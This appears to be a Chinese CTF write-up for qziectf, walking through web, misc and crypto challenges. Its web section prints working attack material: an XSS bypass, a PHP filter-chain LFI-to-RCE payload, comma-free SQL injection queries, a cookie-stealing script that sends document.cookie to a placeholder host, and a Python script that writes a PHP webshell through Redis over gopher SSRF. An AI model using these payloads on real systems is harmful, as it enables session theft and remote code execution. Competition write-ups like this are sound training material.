解法不唯一

Web

easy_web(100)

这里是使用js限制了无法打开控制台

查看页面源代码发现是会把括号替换为空

image-20221204224849787

不过在js中replace函数是只会替换一次,所以

payload:

1
?data=<><body onload=alert(/xss/)>

easy_php(150)

该题的考点的是通过LFI 本地文件包含到RCE

主要的思路就是利用php伪协议的转换过滤器,通过字符集转换来生成特定的内容,同时利用base64“宽松的解析”(当需要解析的字符串中含有base64表中不存在的字符时,不会报错,而是将其丢弃并继续解析),将其中不可见的字符丢掉,只剩下我们想要的结果。

详情参考:

https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

http://tttang.com/archive/1395/

https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

https://blog.mo60.cn/index.php/archives/502.html

payload如下:

1
http://124.222.135.83:10010/?file=php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=kfc

post传参数

1
1=phpinfo();

image-20221205000700384

easy_sql(150)

该题的考点的是sql注入bypass逗号

可以通过fuzz得到过滤了逗号

这里可以使用join来代替逗号

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#回显位
?id=-1 union select * from ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c) #

#查询数据库
?id=-1 union select * from ((SELECT 1)a JOIN (SELECT database())b JOIN (SELECT user())c) #

#查询表名
?id=-1 union select * from ((SELECT 1)a JOIN (select table_name from information_schema.tables where table_schema=database() )b JOIN (SELECT 3)c) #

#查询字段名
?id=-1 union select * from (select 1) a join (select group_concat(column_name) from information_schema.columns where table_name='kfc') b join (select 3) c #

#查询id位
?id=-1 union select * from (select 1) a join (select group_concat(id) from kfc) b join (select 3) c#

#查询数据
?id=-1 union select * from (select 1) a join (select group_concat(content) from kfc where id=2147483647) b join (select 3) c#

image-20221204224809569

message_board(200)

题目由来是2022黑盾杯决赛的留言板,选取第一部分来做题目

题目环境如下:https://github.com/Junehck/xxs-vul 大佬复现环境blog:JunBlog

在自己的服务器上监听个端口然后使用img标签来获取cookie

image-20221205004405063
1
2
3
4
<script>
img= '<img src="http://xxxxx/?cookie= '+encodeURIComponent(document.cookie)+'" />';
document.write(img);
</script>

等待一会成功获取到cookie里面的flag

image-20221205005153014

EzWeb(200)

该题的考点是常见的服务的配置位置,和通过ssrf打本地的redis,然后写入webshell或者crontab反弹shell

常见的ssrf一般是打内网的服务,但是为了降低难度,把题改成了打本地的redis,但是这边是把默认的redis的端口从6379改成了6378,防止一把梭

可以使用dict来测试本地开的端口,但是测试完可能会发现常见的都没有打开

但是经过测试能够使用file协议进行文件读取

image-20221205133949983

可以用这个ssrf能读取文件的漏洞点去读取服务默认的配置

1
2
3
4
5
6
7
8
9
MySQL 常见的配置文件路径:
MySQL的my.cnf配置文件:/etc/my.cnf
MySQL数据库文件位置:/usr/lib/mysql

Redis 常见的配置文件路径:
/etc/redis.conf
/etc/redis/redis.conf
/usr/local/redis/etc/redis.conf
/opt/redis/ect/redis.conf

因为 Redis 配置信息记录在 redis.conf 配置文件中,结合这个ssrf能读取文件的漏洞点,那么这时来尝试借助文件包含漏洞来读取 redis 的配置文件信息

成功读取到 /etc/redis/redis.conf 配置文件,上面有端口信息

1
payload:file:///etc/redis/redis.conf
image-20221205133659729

我们可以使用dict协议连接

1
payload:dict://127.0.0.1:6378
image-20221205133811223

发现需要密码

直接搜索 requirepass 关键词来定位寻找密码:

image-20221205010114339

有密码的话先使用 dict 协议进行密码认证看看:

image-20221205010318392

但是因为 dict 不支持多行命令的原因,这样就导致认证后的参数无法执行,所以只能使用 gopher 协议

gopher payload生成器:https://github.com/tarunkant/Gopherus

redis生成gopher利用代码的脚本,包括认证和非认证功能, 主要是在原始代码Gopherus里redis模块的基础上增加authPrePayload用于认证:https://github.com/LS95/gopher-redis-auth

上面的两个payload生成器都可以使用。我这里是使用这里使用七友师傅编写的python脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import urllib.parse

protocol = "gopher://"
ip = "127.0.0.1"
port = "6378"
shell = "\n\n<?php system($_GET['cmd']); ?>\n\n"
filename = "lyes.php"
path = "/var/www/html"
passwd = "qziectf666"
cmd = ["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save",
     "quit"
    ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
    cmd += CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))

    # print(payload)
    print(urllib.parse.quote(payload))

发包测试

image-20221205141647579

接着访问写入的webshell

image-20221205141819035

image-20221205142024498

image-20221205142047561

Misc

Park(100)

百度识图(park.jpg) or 有出去过的话应该也能一眼看出来……

image-20221205001441383

1
qziectf{西湖公园}

你会用搜索引擎吗?(100)

如何找到最新的RFC文档?截至12.04,格式为qziectf{RFCxxxx}

百度可以找到官网入口

在官网中的高级搜索中可以找到最新的

RFC Search Detail (rfc-editor.org)

image-20221205002029773

滑倒最底下就是最新的了

1
qziectf{RFC9329}

easy流量分析(100)

通过分析发现是在通过网页在进行base64加密的操作

在Referer中也能看出来

(随便找个http的包追踪流就能够看到)

image-20221201163817126

不过这边加密前的也是个base64

获取加密提交的原文,通过base64解密

cXppZWN0ZnsxOGNjYTE0NTllYjE0MDAzYzNmZjcyMmYwOGE5OGI5ZX0=

image-20221205003508590
1
qziectf{18cca1459eb14003c3ff722f08a98b9e}

word_no_word!(100)

2022黑盾杯复赛原题

doc基本文件就是ZIP格式的

所以把doc改名成zip打开,在word/document.xml文件中可以找到flag

1
qziectf{heyiamherejustinthedocx}

easy_QR(100)

拼接好二维码

扫码得到

ZG12cnBnc3tkaG5ha3Zhb3J2fQ==

BASE64解密得到

1
dmvrpgs{dhnakvaorv}
image-20221205003009580

再凯撒密码 or 栅栏密码 or ROT13解密

image-20221205003257849
1
qziectf{quanxinbei}

hacker!!!(150)

hacker偷走了我的密码!

url解码后通过日志可以分析出是sql盲注采用二分法的操作

1
qziectf{KFc_i_1iKe_vm50}

我的flag呢?(150)

打开flag.txt ,查看文件的字符数,或者在Linux下用vim打开都可以看出来是0宽加密

image-20221205003920929

全选复制,0宽隐写解密

http://330k.github.io/misc_tools/unicode_steganography.html

image-20221130193056931

解密得到

1
0010 0011 11 1 0101 0 1101 0000100 11111 11000 011 0111 11110 11110 011 0101 1 00011 00111 10 1 10 0101 011 10 10000 1101 00001 11110 11111 00111 00000 10000 00111 00011 10000 0111 0111 0101 011 0000010

将0替换成-

将1替换成.

得到莫斯密码

1
--.- --.. .. . -.-. - ..-. ----.-- ..... ..--- -.. -... ....- ....- -.. -.-. . ---.. --... .- . .- -.-. -.. .- .---- ..-. ----. ....- ..... --... ----- .---- --... ---.. .---- -... -... -.-. -.. -----.-
image-20221130192648813

其中的%u7b为{ %u7d为}

1
qziectf{52db44dce87aeacda1f945701781bbcd}

找回丢掉的东西(150)

  1. 以文件的形式加载磁盘
  2. 重建MBR或者修改回来 可以看到数据被篡改
image-20221205144422054

可逆的数据修改主要是以下几个

image-20221205144500608

然后XOR FF进行按位异或

  1. 重新加载磁盘

发现已经可以识别到文件系统

image-20221205144553369

4、进入分区发现可以识别到文件,定位到文件的位置

image-20221205144649182 image-20221205144709832

rar压缩包的文件头是0x52617221(Rar!)写入后提取出来

image-20221205144728274

5、爆破RAR压缩包 根据文件名提示2019-top100 (password1)

6、解压后得到图片

image-20221205144859314

JPG文件头:FFD8

JPG文件尾:FFD9

这里可以用winhex分离,也可以用工具直接分离

image-20221205144924049 image-20221205144950877

Crypto

Sign_in(50)

16进制转换文本

717a69656374667b77656c636f6d655f325f717a69656374667d

https://www.sojson.com/hexadecimal.html

1
qziectf{welcome_2_qziectf}

类型-7(100)

Type7混淆加密,是一种可逆的XOR密码,某科设备做ospf 接口认证的时候可以配置加密类型为Type7。

https://www.bejson.com/encrypt/type7_decode/

3349495D0B000C10420C55000601025F5902565A5232373231386433346437316238356536366236657D

1
qziectf{4b34464bd1be27218d34d71b85e66b6e}

Web渗透

层层穿透1

flag1 www根目录

略~

层层穿透1-2

flag2 root目录

略~

层层穿透2

略~

层层穿透3

略~